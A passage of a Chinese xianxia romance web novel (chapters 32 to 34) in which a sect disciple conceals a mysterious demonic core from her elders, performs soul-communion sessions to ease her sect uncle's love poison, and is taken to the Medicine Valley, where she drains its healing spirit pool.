她身体绷紧,睁大眼睛,紧盯着近在咫尺的人,默默往远处挪动身体,随时准备逃命。 景雍被她盯着,气势全无地垂下眼帘,避开她极为炙热的视线,低声说道:“你不必紧张,是我不讲道理在先。” 贺流虹目光闪烁,有些意外。对方竟然没有看穿她的异样,反倒又忽然主动道歉。 她花了两秒飞快反思一下自己,急忙开口:“小师叔,是我错,我下次不会再这样对你了。” 丹田内那缕妖息开始不受控制地四处乱窜,疼痛感时断时续,她出了一声冷汗,丢下一句“师叔你好好休息”起身夺门而出。 走出来那一刻,好几道大乘期的视线同时瞥过来,吓得她差点魂飞魄散,见没人阻拦,头也不回地跑了。 等她一身冷汗狼狈回到住处,再次查看丹府,那颗珠子又不见了。妖气也消失了。 从始至终,没有任何除她之外的人发现这股气息,这让她既庆幸,又倍觉恐怖。 这可是妖气,外面一条妖命一百灵石起步,人人都在争抢着打妖怪,她的丹府里练出了这么个妖物,真要命。 虽然没有任何人来,她怕自己终有一天会被瞧出不对劲,尤其是还和一群医修住在一块,心虚地不敢迈出房门半步。 修炼她也不敢继续,既怕再次七窍流血晕倒过去,又怕修出一些更诡异的怪东西。 她把那些抄写好的书又拿出来一 页页地看,之前光顾着研究和筑基金丹有关的资料,现在她不得不专门阅读那些提到了妖族的内容。 但是这些内容少之又少,只言片语。 贺流虹越看越怀疑,自己是只妖,金丹没修出来,而是修出妖丹了。 她在屋子里躲了好几天,努力尝试着自行研究丹府里那颗“妖丹”,可大部分时间都找不到它的影子,丹府内仍旧只有凌乱不堪的气息。 这边贺流虹惴惴不安地研究自己的“妖丹”,那边,景雍愁肠百结,万恨千愁。 他越是回忆自己那晚的言行,越是懊悔不已。 那张写满惶恐的脸时时浮现在他眼前,拷问着他的良心,越发让他羞愧难当。 是他宁愿违背师门期许,也要拖延着不肯解迷情散,掌门和长老也是为了天玄宗才来催促他,而不是因为担心一个外门小弟子困在神月峰不开心。 他受师门诸多照顾培养,理应接受所有师门安排,却因自己的私心,去怪罪一个不知比他小多少岁的孩子。 年少贪玩,忍不住胡闹,都是在所难免,何其无辜要受这般责骂恐吓。 第32章 第32章她想怎么样都可以 贺流虹躲在屋子里鼓捣好几天,一无所获,丹府内的妖息时隐时现,她的心情也跟着起伏不定。 除此之外,她又像前几次神交之后一样,修为悄无声息突破至筑基五层。 但是她高兴不起来,不管是哪个天玄宗弟子修着修着修出一颗妖丹,也要认真怀疑一下人生。 掌门远程快递了她一整瓶固元丹,让她收拾收拾准备升级为他最小的亲传弟子。 是的,掌门被她惊人的修炼速度狠狠引诱到了,决定亲自收她当自己的亲传弟子。 他看来看去,几个之前精挑细选出来的徒弟都是一个比一个不靠谱。 而这个侥幸从外门发掘到的小弟子,忠诚老实的品质本来就让他心生好感,如今又脱胎换骨,修炼速度飞快,他简直喜欢得不得了,恨不得立刻把人提出神月峰,领到身边亲自教导。 这样一个满心为师门着想的好孩子,若是加以悉心培养,将来继任掌门之位成为一代仙门领袖也不无可能。 贺流虹哪里知道自己不知不觉成了下任掌门备选人才,她对仙门不接收妖族拜师的规矩感到十分遗憾。 怎么能因为是妖族,就一杆子打死呢,好妖怪还是有的。 她摇头叹气。 窗户再一次被扣响。 金月又来了。 这几天不仅掌门给她送快递,琼华真人也送,并且送得更加频繁。 今天送瓶灵丹,明天送盒妙药法宝,上午送张符篆,下午送件法宝。 这次金月快递上门的是一束花,外加一个小锦囊。 贺流虹把锦囊打开,里面是一颗质地清透的珠子,内部像是有水再流动。 她一眼认出来这是避水珠,相传出自早已全族飞升的东海龙族,如今世上只留有一共不到十颗,能助一个普通人在任何水域自由行走。 在黑市,一颗避水珠能拍卖到数十万灵石以上的天价。 贺流虹那个时候正在接一个帮人抓鱼怪的悬赏,天天在水里瞎扑腾,想去黑市淘点道具减轻一下下水的难度,碰巧围观这场拍卖,差点被价格吓晕。 避水珠虽好,可是她现在看到长成珠子形状的东西就应激,容易想到自己修出来的妖丹,连忙将这颗避水珠重新收进锦囊,眼不见为净。 她正要把锦囊装进芥子袋中,金月却用毛茸茸的脑袋拱了拱她的手背。 “还有东西在里面吗。” 她嘀咕着,打开锦囊又朝里面瞄了一眼,是一张折叠起来的小纸条。 上面用净秀笔迹写着约她在湖边相见。 贺流虹觉得这位美人小师叔有点好笑。 前不久还一副被她气得直掉眼泪的样子,光着身子哭得梨花带雨,委委屈屈含羞带怯埋怨她,说她将他视作玩物,转眼又不停往这边送东西,还要主动约她见面。 她哪里有心思和他见面。她连门都不敢出。 住隔壁的宁逢才不到金丹,她都怕迎头撞上的时候被发现异样,何况是化神期。 由于这张小纸条的出现,贺流虹终于有时间仔细回想那晚,漂亮的小师叔白腻的身子晃得她眼花,以至于她只记得“玩物”这两个字。 此时才意识到,美人那一长串连哭带骂的抱怨不仅是在恼火她将他视作玩物,还顺带“夸”了她。 他夸她聪明胆大,知道去找掌门告状。 贺流虹很后悔。 是啊,她之前怎么就没有想起来,还能有这种好办法。 人微言轻,就要懂得借势啊。 那她之前兢兢业业抄书,当饲养员,送花,算什么? 算她正直善良吧。 可是她这么善良老实的好人,怎么就修出妖丹了呢。 神月峰是不能再待下去了,最好连天玄宗以及整个仙门都要远离。 问题又绕回来了,想要脱离天玄宗对她的禁锢,必须先帮琼华真人把迷情散解了。 想要解迷情散,就得继续神交。 神交,就得冒着被看穿的风险。 贺流虹估算了一下隐匿踪迹逃出重重包围的可能性,又思考了一下不幸暴露单枪匹马杀出仙门的成功率,珍惜地隔着衣服摸了摸自己仍旧跳动的心脏。 她凝神细听外面的动静,宁逢不在,其他医修也都在忙,于是蹑手蹑脚打开门,走出去。 根据之前的表现,贺流虹觉得自己还有希望,毕竟妖息浓郁的时候,四个大乘期和两个化神期就在她旁边,还有好几层法阵围绕,都没有把她的妖丹查出来。 她将所有能增加战斗力的灵宝丹药一股脑带在身上,先去单独找了医仙谷最不能打的医修。 她把对方拉到偏僻的角落里,锁好门,贴上了屏蔽旁人神识探查的符篆。 然后一脸真诚地拜托对方帮自己做个周详的全身体检,从肉身到神魂,从体表到经脉的那种。 对方看到她脸色苍白,遮遮掩掩,了然道:“你又瞒着宁逢师姐没日没夜修炼了对不对?” 贺流虹不好意思地点头,“我又不听劝了,现在不敢去找她,只能偷偷麻烦你了。” 对方一通操作,最后淡定地安慰她:“别紧张,你什么事都没有,就是有点劳累过度。” 贺流虹于是谢别她,转而去找第二个实验对象。 第二个实验对象的战斗力排在医修的倒数第二,贺流虹把装满防身道具的芥子袋往手掌的位置挪了挪,方便随时掏出来。 半响过后,倒数第二给出了相同的回答。 接下来她按照次序一一找人重复这个过程,得到的答案大致都是如此。 重复的次数多了之后,贺流虹也觉察到一些微妙之处。 每当有陌生灵力对她进行探查,她丹府内那凌乱的气息就会自动恢复成井然有序的模样,那颗充满妖气的珠子也会骤然消失得无影无踪。 当这些变化在面对宁逢和老谷主依旧会出现的时候,贺流虹乐了。 这颗珠子还具备自动反侦察功能。 她的底气足了很多,接下来就是再去找洞府内修为最高的琼华真人测试一下。 她刚要出门,琼华真人就心有灵犀一般找了过来,两人迎面撞上。 贺流虹一惊,猛然顿住脚步。 景雍十分局促和心虚,问:“我耽搁你去做别的事了吗?” 贺流虹镇静道:“不,我也是正要去找师叔你。” 景雍的那张小纸条已经送出去好几天,杳杳无音,挣扎之下,鼓足勇气腆着脸主动前来找人,却没料想到她终于愿意来见自己。 他不安地问:“你找我……有什么事?” 贺流虹想到即将进行的测试,刚攒起来的底气又消散了一些,泛起了紧张。 她想了想 ,先说了点闲话缓和一下心情,道:“上次不是我让掌门逼迫你神交的,是掌门找我过去问话,问你为什么向长老们隐瞒心事。我怕你多想,所以上次你问我的时候,我就没说实话。” 景雍愧疚道:“是我大错特错,我不该第一时间怀疑你。” 当时他刚从贺流虹身上闻见掌门身上气息,掌门就找过来,提醒他肩负的责任,师门对他的期许,催促他继续修炼。 他想着贺流虹身上沾着的属于师兄的气息,想着那闪烁其词的态度,下意识便觉得少女一定厌烦极了困在他身边,厌烦极了他的惺惺作态。 掌门师兄能给她自由,而他这个师叔能给她什么? 神交的确能让她根骨得到淬炼,但神交不是唯一能淬炼根骨净化灵根的方式。 所以他的价值是什么呢。 大概只是作为她发泄少年心性、肆意取乐亵玩的玩具。 她应该宁愿丢弃这种床榻之间的短暂肤浅乐趣,也要离开。 所以他恼火不甘,屈辱失望,比起她不顾自己想法去找掌门告状,他真正介意的,是她对他的想法。 “但是……但是我现在想明白了。” 他深吸了一口气,急切地说道:“即便你求助掌门,那也是因为我明知你的想法,却始终为难与你,逼得你不得不如此行事。” 贺流虹完全不知道怎么回事,她只是为了“妖丹”的事情战战兢兢在屋子里躲了几天,还没开始像前两次那样开始哄人,貌美小师叔就自己把自己哄好了,不仅送灵宝丹药,还主动找她认错。 前两次不是这个程序啊。 她一脸好奇地看着他,边琢磨边问:“然后呢?” 景雍垂眼盯着路旁盛开的花丛,“你因为我被困在这里,不能去做真正想做的事,这本来就对你不公平,所以你为了早日离开,做出什么都是没错的。” 风一吹,花枝乱颤,绯红花影映照着如玉脸颊。 他在贺流虹充满探究的眼神中,心如擂鼓,咬了咬牙,下定了决心宣告道:“从今往后,只要你能感到稍许开心,你想要做什么都可以,你……你可以对我做任何事。” 贺流虹半信半疑,眨着一双清澈又无辜地眼睛,问道:“真的吗?把你弄晕也可以?你不会又说我不知轻重吧。” 景雍将脑袋垂得更低,轻声说道:“不知轻重也可以。” 贺流虹又问:“那你情毒发作时还要我帮忙吗?一夜七次也可以吗?你不会又要‘休养’很久吧?” 青天白日的,景雍已经尽量用委婉的言辞表明了自己的意思,期望她能听懂。 她看起来确实是听懂了,但是问出来的问题一个比一个直白。 让他脸红心跳的同时也让他心中高悬的石头终于落地,她能这么问,说明那日的恐惧仿徨终于不再。 既然如此,他也该更加表明自己无悔的决心,心一横,点了下头,顺从开口:“可以,十次也可以。” 贺流虹轻笑了一声。 景雍有些看不懂她这个笑容当中的意味,再次保证道:“我是说真的,你若是不信,我可以立下心魔誓言。” 贺流虹抬手阻止他:“不用这么麻烦。” 经过这件事她已经学会了最有效的技巧,对方要是再事后出尔反尔,她找掌门和太上长老就行了。 景雍忐忑地看着她,踌躇着问她:“那你还会因为我之前的做法生气吗?” 贺流虹有点摸不着头脑,挠了挠头,生气?什么生气? 她生什么气,她快要被自己修出来的妖丹吓死了好吧,哪里有那个多余的心情去生别人的气。 再说,自从有了高额误工费,以及那些金月送过来的额外补贴,她对这个漂亮的小师叔包容很多。 虽然狗头军师们都说她得罪了师叔,对方是在故意报复她,但到目前为止,她受到的最严重报复,是被衣衫不整满面红潮的美人气呼呼哭着“夸赞”聪明胆大。 她笑着握住对方的手,打着哈哈将这点小事糊弄过去,说道:“我与师叔同出一门,生什么气,师叔,与其耗费灵力发心魔誓,不如帮我一个小忙,你看行吧。” 景雍毫不犹豫地点头:“当然没问题。” 涉及到真正牵肠挂肚的忧惧之事,她的笑容变得有些勉强,半真半假地说道:“我最近修炼好像出了点问题,但是问了很多人,都只说我是过于疲倦,我想请小师叔再帮我看看。” 景雍不是个擅长指点人修炼的师尊,但是只是帮忙检查看看修炼状况,完全不成问题。 贺流虹跟着他进了修炼打坐的内室,布下护身阵,让他为自己悉心梳理了一遍经脉。 灵力沿着经脉流转,不可避免到达丹府。 贺流虹一颗心提起来,紧随着这缕温润的灵力去检视自己的丹府。 果不其然,那些混杂在丹府的凌乱气息又藏匿得无影无踪,妖丹更像是从未出现过。 甚至还出现了一团已经隐隐凝结成形的白色浓雾,也就是她期盼已久的真正的金丹雏形。 景雍笃定道:“你已是筑基五层,金丹已初显,是时候该缓下来,稍作休息,耐心巩固境界。你近来频繁在我身上消耗神魂之力,修炼起来又不加节制,的确容易感到不适。” 他的话和医修们说的还是差不多,只换了些具体说辞,除此之外,脸上没有表露任何异常。 贺流虹如释重负,看来那颗妖丹的反侦察能力相当强大。 眼下就只剩下最后一个要测试的场景了,那就是神交时的法阵以及镇守法阵的太上长老们。 前几次经过法阵,她没有留意丹府内的变化,说不好那时候到底是不是和现在一样的变化。 贺流虹既想快点接受考验,又难免疑惧,尽管美人已经向她表现出无条件配合的意愿,她还是很难想之前一样急于开工。 景雍只当她始终对那晚的责骂感到介怀,常常忧愁地凝望着她的背影。 他觉得她心事重重,但是又有一种无形的气场将他隔绝在外,让他进不去那个世界。 景雍第一次懊悔自己这么多年一直待在神月峰,一心只用在修炼上,要是能多去看看神月峰外面的世界,或许更能和对方说得上话。 在两个人都很焦灼不安的等待中,掌门带着太上长老们的口谕前来催促两人为天玄宗的未来尽快行动。 法阵遍布繁复绚烂的金色符文,时急时缓若隐若现流动在空气中,大乘期的威压从四面八方倾压下来,释放出来的神识无处不在,注视着一切风吹草动。 贺流虹悄悄咽了口唾沫,步入监控范围,凭借本能机械般地挪动双腿。 紧接着她就一不小心踢到石头,腿一软,踉跄了一段。 大乘期修士的目光笼罩到她身上,警惕地探查她是否有恙。 那几道视线刚落在她身上,她就有所察觉,立刻关注丹府内变化。 还是和之前被小师叔探查时一样,一切又恢复成正常得不能再正常的模样。 脑海中响起一道听起来有些无语的女声:“我们有这么吓人吗,帮忙护个阵而已,你怎么还能平地摔呢。” 贺流虹在脑海中悻悻回道:“长老,我最近有点虚,不是害怕。” 那声音显得有些百无聊赖,道:“已经帮你梳理过经脉了,你基础搭得不错,金丹凝得很圆实,不错不错,好苗子。” 贺流虹笑了一下。 第一关,大乘期的检视,完美通过。 她心安很多,放慢脚步,在法阵的入口出有意停顿片刻。 丹田一片平静。 她很欣慰,这是个有本事的妖丹,能在该消失的时候消失,并且还不耽误她凝成一颗真正想要的金丹。 她几乎是笑着走进去的,见到卧榻上的小师叔,只觉得尤为艳光四射,赏心悦目。 景雍也朝她笑了一下,有点不好意思地主动说道:“我们开始吧。” 他的外裳早已解开了,只留一件薄如蝉翼的贴身里衣,朝贺流虹靠近过去。 贺流虹像第一天认识他,一错不错地盯着他。 他被盯得含羞带怯,嗓音轻颤着问她:“你今日怎么如此不缓不慢?” 前几次贺流虹都是赶时间似的,一进来说声“开始”就直奔主题,这次被他抢了开场白,越发感到匪夷所思。 她忍不住问:“小师叔,你来真的啊?” 景雍抬眼,温柔如水地瞧她一眼,道:“我说过了,从今往后绝不有意阻碍你离开神月峰,你想怎么样,想做几次都可以。我是化神期,我能承受得住。” 贺流虹似笑非笑,沉默两秒后,道:“行吧,那我们开始。” 和之前的每个夜晚一样,前几次景雍会咬牙硬撑,直到深受情毒折磨难以抵抗,就会暴露出软弱无助的一面,滚烫的身体和染满情玉的脸被汗水泪水沾湿。 在少女玩味的目光中,他用仅剩的理智告诫自己,不要抗拒。 情毒使他堕落,但能给对方稍微带来一丝乐趣,是他应该给予的回报。 即便对方会不知轻重,不加节制。 一个贪玩的孩子面对玩具偶尔产生弄坏的冲动,实在很正常。 他是一个成熟的长辈,理应理解和包容这样的做法。 贺流虹攥紧他的手腕,防止自己被主动缠上,问道:“小师叔,又要我帮忙吗?” 他点了点头,又摇头,瑟瑟发抖地说道:“我说过,你想怎么样都可以。” 将他推开不管不顾,甩袖离开也可以,像之前一样不顾他哭泣哀求,对他肆意妄为直到他精疲力竭也可以。 贺流虹将他按倒在榻上,抽出他的腰带,将他双手绑上头顶,绑在了床柱上。 景雍一点也不敢挣扎,他早已决心要任对方取乐。 贺流虹将他绑好之后,满意地拍了拍手,道:“好了。这样就可以专心神交了。” 她说着,就再次进入对方识海。 随着她修为的提升,神魂的掌控力更强,如今已不必再有任何身体上的接触,就能进行神交。 她将美人绑在床头,自己坐在床尾,闭着眼睛不慌不忙地将剩下的四次完成。 美人的喘息声和哭泣声太吵,她就堵上耳朵。 美人的身体太烫,她就伸手帮忙解开衣襟又很快退远。 美人抖得厉害险些就要挣脱束缚,她就再多加上几道绳索。 没办法,小师叔说了,她想怎么样都可以,她无论对他做什么,他都不会再生气。 那当然是能少干点就少干点,只完成神交就可以了。 她很不容易的,既要负责神交又要帮忙解情毒的话,她不累吗。 反正情毒不解也不会要命的,忍忍就过去了,还是绑起来最保险,这样她也不会把持不住,美人也不能缠着她不放。 大家都会很开心。 景雍还是晕了过去,只不过这次是因为无法纾解的情毒摧残。 昏睡过去之前,贺流虹已经完成了今晚的工作目标,准备走人,正在替失去所有力气的他解绑。 四目相对时,少女冷淡又温情地说道:“抱歉,小师叔,先前我也不是故意要那样对你,只是没有忍住。所以这次我想到好办法啦。” 第33章 第33章吐血三升 由于这一晚没有做一些“多余”的事情,天还未亮,贺流虹就再次完成一夜七次的伟大目标,匆匆跑路。 虽然她还有余力,但是大乘期的注视太吓人了,一眼就能将她丹府内情形看得一清二楚,这叫她怎么敢在这里多留。 她决定以后都这么办,速战速决,绝不在“多余”的事上浪费时间,跑得越快,暴露的风险越低。 就是有些考验自制力。 起色心是人之常情,她面对的还是一位绝色美人,却只能看不能碰,实在是受苦了。 她一受苦,美人也跟着受苦,被解开的时候,手腕上都被勒出红痕了。 回到住处,躲进屋内,贺流虹才想起来,光顾着给小师叔解绑,忘了帮忙穿衣服。希望被第二个人进去看到之前,小师叔能醒过来自己穿好衣服。 她随便想了想已经发生的事情,就立即沉浸在神交结束后的修炼快.感之中。 宁逢一直在说,和琼华真人神交看似愉悦,是因为神魂契合,其实对她微弱可怜的神魂并不是没有损耗。 但她每次结束之后修炼都无比顺畅,毫无不适。 她这回很惜命,没再急于吸纳灵气提升境界,只是自己慢慢梳理一下自己的经脉。 然后就是最重要的事:研究丹府内的两颗内丹。 那颗深绿色的珠子近来藏起来的时间变少,常常堂而皇之出现在她丹府正中央,和那颗刚刚显出雏形的金丹肩并肩。 贺流虹的意识靠近过去时,妖气浓得直冲她的天灵盖。 := 她除了远远地盯着看,拿这颗诡异的珠子毫无办法,神识稍一接近,那颗珠子就好似要将她的神魂吞噬下去。 几次试探过后,情况发生了变化,那颗珠子放弃尝试吞噬她的神魂,转而攻击起另一颗金丹。 两颗内丹再丹府内很快对峙起来,一个想吞噬对方,另一个想摧毁对方。 丹府内的两股气息顿时打成一团。 贺流虹顿时感觉大事不妙,喉间一甜,吐出一口黑血,失去意识- 噩耗传来的时候,景雍正在盯着腕间的红痕发呆,反复回忆对方那时的动作和表情,思考她到底是无心之举,还是在用这种方式报复。 得知对方出事,原因顿时显得无足轻重,他匆匆前往谷主的院子。 掌门先他一步收到谷主的消息,已经守在房外。 让他惊讶的是,一向清修避世的几位太上长老竟也出现在那里。 掌门正在低声和几位太上长老交流着什么,见到他,重重地叹了口气:“谷主正在救治,你不必进去打搅。” 景雍被他脸上过分浓重的忧愁吓得花容失色,问:“她到底怎么了?” “性命攸关。” 掌门言简意赅地给出四个字,足以让在场氛围又低迷几分。 景雍的心也一点点沉下去。 一名和天玄宗众人一起守在外面的医修嫌晦气,“呸”了好几口,道:“快别乱说了,小贺她不会有事,有师父出手,一脚踏进鬼门关也能拉回来。” 掌门焦灼地来回踱步,自言自语般说道:“她绝对不能出事,绝对不能出事。” 他的焦躁和担忧显然不仅是出于对门中弟子的关爱。 景雍紧盯着门口,一言不发。 过了不知多久,医仙谷谷主走出来,脸上有着众人看不懂的复杂情绪。 景雍上前一步,问:“她还好吗?” 谷主看向等在外面的几人,皆是天玄宗乃至仙门最有地位和实力的人,可见天玄宗将人看得极为重要。 而这份看重大多是因为出事之人关系到天玄宗未来是否有人能够成功飞升。 她显露出极为凝重的神色,缓缓开口:“那孩子短时间内神魂损耗太重,又急于修炼,所以全身经脉遭到反噬,如果不跟我回医仙谷,接受医仙谷灵池水的治疗,不出两天就会一命呜呼。” 景雍眼睛亮起,恭敬感激地朝老人家鞠了一躬,道:“还请谷主务必尽快将她带回医仙谷,救她性命。” 老谷主点点头,“如果其他人没有意见的话,我可以立即把人带走。” 她说着,意有所指地望向景雍身后几人。 在神月峰待了这么久,不是傻子的话,也该看出来,受人敬仰的琼华真人其实一心只懂得修炼,天玄宗重大事务都是掌门主持,而掌门要看太上长老的意思。 这些人都各自探查过贺流虹的情况,得到的结论和谷主差不多。 这种情形,原本已是回天乏术,谷主能有解救之法,自然是万幸。 太上长老威势赫赫,让人无法直视其真容,掌门低着头求问:“不知几位师叔祖们觉得如何。” 又是那道曾经和贺流虹沟通过的女声,不紧不慢道:“妥。” 掌门回复谷主道:“我这就去安排。” 此去医仙谷不知何时能归,外面的妖族藏头露尾, 混在各处,伺机报复,谁也说不准会发生什么变数,必须要尽全力保障医治顺利。 否则,天玄宗数万年基业危矣。 景雍想要跟着一起去,被太上长老按住。 多少人都在盯着神月峰的变动,所以这件事必须掩人耳目,护送一个贺流虹去医仙谷还算容易,但是再多个琼华真人,生怕别人不知道天玄宗一波未平一波又起似的。 就连天玄宗内的弟子也不知道神月峰的混乱,从外面看起来,神月峰上一片平静,偶尔靠近还能隐约感应到峰上琼华真人的气息。 谁都没想到,那个能帮琼华真人解迷情散、能替天玄宗解忧的救命稻草,居然自己先出事了。 贺流虹也没想到。 她醒来的时候,人在一架飞舟上。 飞舟从天玄宗往其他合作门派运输货物,每月都会固定飞上几趟。 打开窗一看,天玄宗已经缩小成一个点,飞舟已经飞出去很远很远。 贺流虹既惊又喜。 这下不用担心暴露妖息,被瓮中捉鳖抓去受审了。 只是……就这么逃出来了? 她怎么什么都不记得,不会做梦还没醒吧。 房间的门从外面被人推开,一个脸颊肉乎乎的女孩走了进来,高兴地喊道:“你终于醒了!” 没过两秒,一个熟悉的老太太也走了进来。 贺流虹认出两人,眼前一黑。 还以为自己偷偷跑路了,结果身边还有一群医修。 这不还是难免有可能暴露秘密。 宁逢见到她神思恍惚,跟她说了失去意识之后发生的事。 贺流虹听着听着,差点又被吓晕过去。 全天下最厉害的医生和最能打的修士欢聚一堂,一起探讨她为什么昏倒。 她一边心有余悸,一边难掩好奇:“所以你们讨论出来的答案是?” 宁逢冷笑一声:“哼,让你不听我的医嘱,你修炼太急,遭到反噬了。” 贺流虹长长地舒出一口气:“原来是这样啊。还以为要完蛋了呢。” 宁逢见到她如释重负的表情,有点无语:“都遭到反噬了,难道还不算完蛋?” 想了想她贴心提示道:“对了,如果这架飞舟两天内到不了医仙谷的话,你就无了。” 贺流虹不太敢相信自己正确理解了这句话,问:“无了?” “我们医仙谷有一个三万年前留下的灵池,配以师父的手段,可以让你遭到反噬的经脉受到滋养,重现生机。” 贺流虹望向她旁边的老太太。 老人家从进来到现在都不说话,一直若有所思地盯着她,怪让人有压力的。 老太太点了点头,算是承认了宁逢的说法。 贺流虹悄悄检视丹府,两颗内丹只剩正常的那颗,整个人除了有点使不上劲,经脉也枯竭干涩隐隐作痛,没有任何与妖族有关的痕迹。 她也不确定自己到底是真的遭了反噬快要死了,还是那颗珠子又一次给人制造出可信的表象。 “那就要麻烦谷主了。” 她暗自祈祷去了医仙谷能够继续隐瞒下去。 老太太打量她一会儿,什么都没提,只一副公事公办的口吻,道:“我再来为你施一遍针,缓解你经脉滞塞疼痛感,免得你撑不到医仙谷。” 贺流虹清醒过来后,经脉滞塞疼痛感的确越发强烈,被谷主一施救,渐渐缓和。 宁逢对自己师父的医术有信心,所以不太担心贺流虹的小命,守在一旁认认真真当小助手,眼里只剩下兴奋。 施诊一结束,谷主一走,她就揽着贺流虹的肩膀,赞叹道:“你这回做得好啊,这一晕,咱们全都不用坐牢了。” 贺流虹笑道:“是啊是啊。” 出了天玄宗,谁都没她高兴。 不管怎么说,一群医修带来的压力还是比天玄宗那群天天盯着她的大乘期化神期小很多。 万一不幸被医修们抓现行,她逃命的成功率会高很多。 让她感到惋惜的是,她在神月峰的工资还一次都没结算,那可是整整一千块灵石的日薪。 宁逢受到师父嘱托,路上始终守在她身边,方便随时了解她的病情。 贺流虹留意了好久,那颗珠子在丹府内彻底消失了,直到到达医仙谷,都没有出现。 这是消失最久的一次,她忍不住幻想,难道她吐血昏迷的时候,她那颗刚刚凝出雏形的金丹代表正义成功把妖丹消灭掉了? 那她养好病就能回去领工资了。 带着美好的期望,贺流虹随着医修们一起踏上医仙谷的土地。 医仙谷里风景如画,依山傍水,一条瀑布气势壮阔地从山崖上落下,水汽凝出彩虹。 贺流虹没来得及欣赏,就两腿一软,再次吐血。 宁逢扛起她就跑,嘴里念着:“一个时辰,倒计时一个时辰!冲!” 贺流虹被颠得神志不清,最后和宁逢一起扑通一声掉进一个水汽缭绕的地方,耳边传来谷主无奈训斥徒弟的声音:“阿逢,你怎么总是这么不小心。” 贺流虹刚被这水汽围绕,虚弱感减轻很多,也不想吐血了,周身经脉被滋养得无比舒爽,昏昏欲睡。 宁逢把她扶稳,抹了一把脸上的灵池水,又胡乱帮她擦了两下,然后湿漉漉地爬上岸,嘴里说道:“师父,这灵池是不是水位越来越浅了,不会影响给小贺疗伤吧?” 师徒二人嘀嘀咕咕地说话,随之就开始往贺流虹的头顶扎针。 贺流虹本来已经有如度假泡温泉一般舒适享受,刚要睡过去,那颗珠子又冒出来了,妖气四溢。 她徒然睁大双眼,紧张地用余光观察师徒二人的反应。 庆幸的是,师徒俩没什么反应,老太太口气如常,正在教宁逢怎么控制灵池水流向。 不幸的是,两颗内丹越靠越近,好像又要打起来了。 片刻过后,贺流虹再次吐血。 正在专心为她疗伤的师徒俩都吓了一大跳。 第34章 第34章原来是风月宗的道友 贺流虹把第二口差点吐出来的血强行咽回去,连忙说道:“没事没事,别担心我,我一点事都没有。” 她一边试图降低师徒俩对她的过分关注,一边催动自己那还未成形的金丹疯狂殴打作乱的妖丹。 老谷主探查的灵力进入她经脉之时,那颗妖丹终于又隐匿起来,丹府内又恢复平静。 贺流虹累得够呛,还要表面镇静:“谷主,我怎么样了?” “你经脉紊乱,全身灵力像是使用过度快要枯竭。” 老太太露出百思不得其解的神情,“可我这灵池水应当会使你经脉受到滋润,灵力源源不断才对啊。” 贺流虹心虚地想,那当然是因为她这一身的灵力都被调动去对付那颗珠子了。 她奄奄一息地笑了一下:“可能因为我本来就是一个柔弱不能自理的弱女子吧。” 老谷主沉默了,大概是被她无语住了。 宁逢指着灵池大叫:“师父你快看!” 灵池的水位正在以肉眼可见的速度飞快降低,以贺流虹为中心,形成一个巨大的旋涡。 贺流虹清晰感受到自身枯竭的经脉和丹府正在拼命吸收它们,如同一只不知满足的饕餮。 她想抽身离开,却像是被牢牢黏在原地,无法挪动半分。 灵池瞬间干涸。 贺流虹通体舒适,虚弱疲惫感顿消。 只是睁眼望见干涸见底的池水时,整个人都瞠目结舌。 人怎么能捅出这么大的娄子? 宁逢难以置信地看着她:“你知不知道你捅了多大的娄子?” 贺流虹可怜巴巴地看向老太太:“我、我也不知道是怎么回事。我控制不住我自己。” 老太太像是早就预料到,淡定道:“无妨,灵池本来就是用来为你疗养经脉 的,你能自行吸收,倒免了我和阿逢助你。” 贺流虹半信半疑地看了她一会儿,总觉得这老太太像是深受打击之后的故作淡定。 宁逢就直接多了,趴在岸边哭天抢地:“灵池啊,好好的你怎么就没了啊,你死得好惨啊我的池啊。” 老太太看不下去徒弟这丢人现眼的样,一把抓着衣领提起来,“瞎闹什么你个小混账。” 宁逢瞬间老实了,眼观鼻鼻观心垂手乖乖站在老太太身边。 老太太清了清嗓子,看向贺流虹,道:“你别听阿逢乱讲,这灵池的水再过个几十年就自己蓄上了。” 贺流虹精神抖擞地爬上岸,身上的衣服顺带被蓬勃四溢的灵力烘干了,神清气爽地说出了最怂的话:“那您看,这几十年内的损失……我大概要赔偿多少,我会尽力弥补您的。” 老太太手一挥,不以为然道:“这有什么需要你来赔的。” 贺流虹泫然欲泣,“您真的是个大好人!” 她话音未落,老太太就接着道:“这当然是找你的掌门和师叔赔,你是因为谁才变成这样,他们心里没数吗。” 贺流虹深以为然地点了点头:“您说的太有道理了。” 宁逢过来探一探她的脉象,惊喜道:“竟然真的就这么恢复了,你不用死了!” 贺流虹笑得有点勉强:“那谷主是不是可以送我回天玄宗了?” 宁逢的嘴角立刻撇下来,扒拉住老太太的袖子,“师父,别这么快送她回去好不好?她回去了我们也就得跟着被关进神月峰,那里也太无趣了,我们再瞒一段时间吧。” 贺流虹在旁边脑袋点的像小鸡啄米,连声应道:“对对对,阿逢她好不容易出来,您这么疼她,忍心让她又跟着您去天玄宗坐牢吗。” 宁逢默默瞪她一眼,明明是她也觉得被困在神月峰无聊。 老太太沉吟片刻,道:“你虽然吸收了灵池水,但还是需要在医仙谷待一段时间,观望观望后续。” 贺流虹和宁逢一起高兴地点头。 老太太望着二人相当同步的动作和表情,有些走神,“那这段时间就让阿逢照看你,我需要闭关几天。” 宁逢信誓旦旦保证自己会把病人照顾好。 老太太一走,宁逢就领着贺流虹去了给她准备的房间,兴致冲冲问她要不要现在就去游览谷中风景。 贺流虹夸张地打了个哈欠,道:“我今天有点累了,要不明天再参观吧。” 宁逢瞧着她红润健康的脸色和神采奕奕的眼神,有些困惑地眨眨眼,但还是点点头,“好吧,你好好休息,我明天再来找你。” 人一走,贺流虹就关门上锁,拿出一张屏蔽探视的符篆贴在门上,这才放心大胆地开始检查自己丹府内的变化。 刚刚她就若有所觉,现在沉入意识仔细一瞧,两个内丹都浑圆凝实了很多,光芒也更为璀璨。 那颗妖丹之前是接近枯萎的深绿色,现在变得绿油油的,比之前大了一圈,隐约可见上面的纹路。 她看了又看,确定自己没看错,“妖丹”上面竟然有着繁复的纹路,似乎是一种符文。 妖族的内丹竟然还自带符文吗。 贺流虹打过很多只低阶妖怪,有时候运气好也能搞到一两颗内丹拿去换钱,但是从来没见过这种“妖丹”。 可能比较高级吧,毕竟连大乘期的探查都能躲过。 两颗内丹肩并肩,暂时不像是会打起来。 根正苗红的金丹虽然也在灵池水的滋养中升级了,但是看起来没有旁边的妖丹大,光芒也要微弱很多。 贺流虹担心下次打不过,连忙盘腿打坐修炼。 一夜过去,金丹的光芒增加了。 但是那颗绿珠子也是如此。 两者的提升几乎是同时进行的。 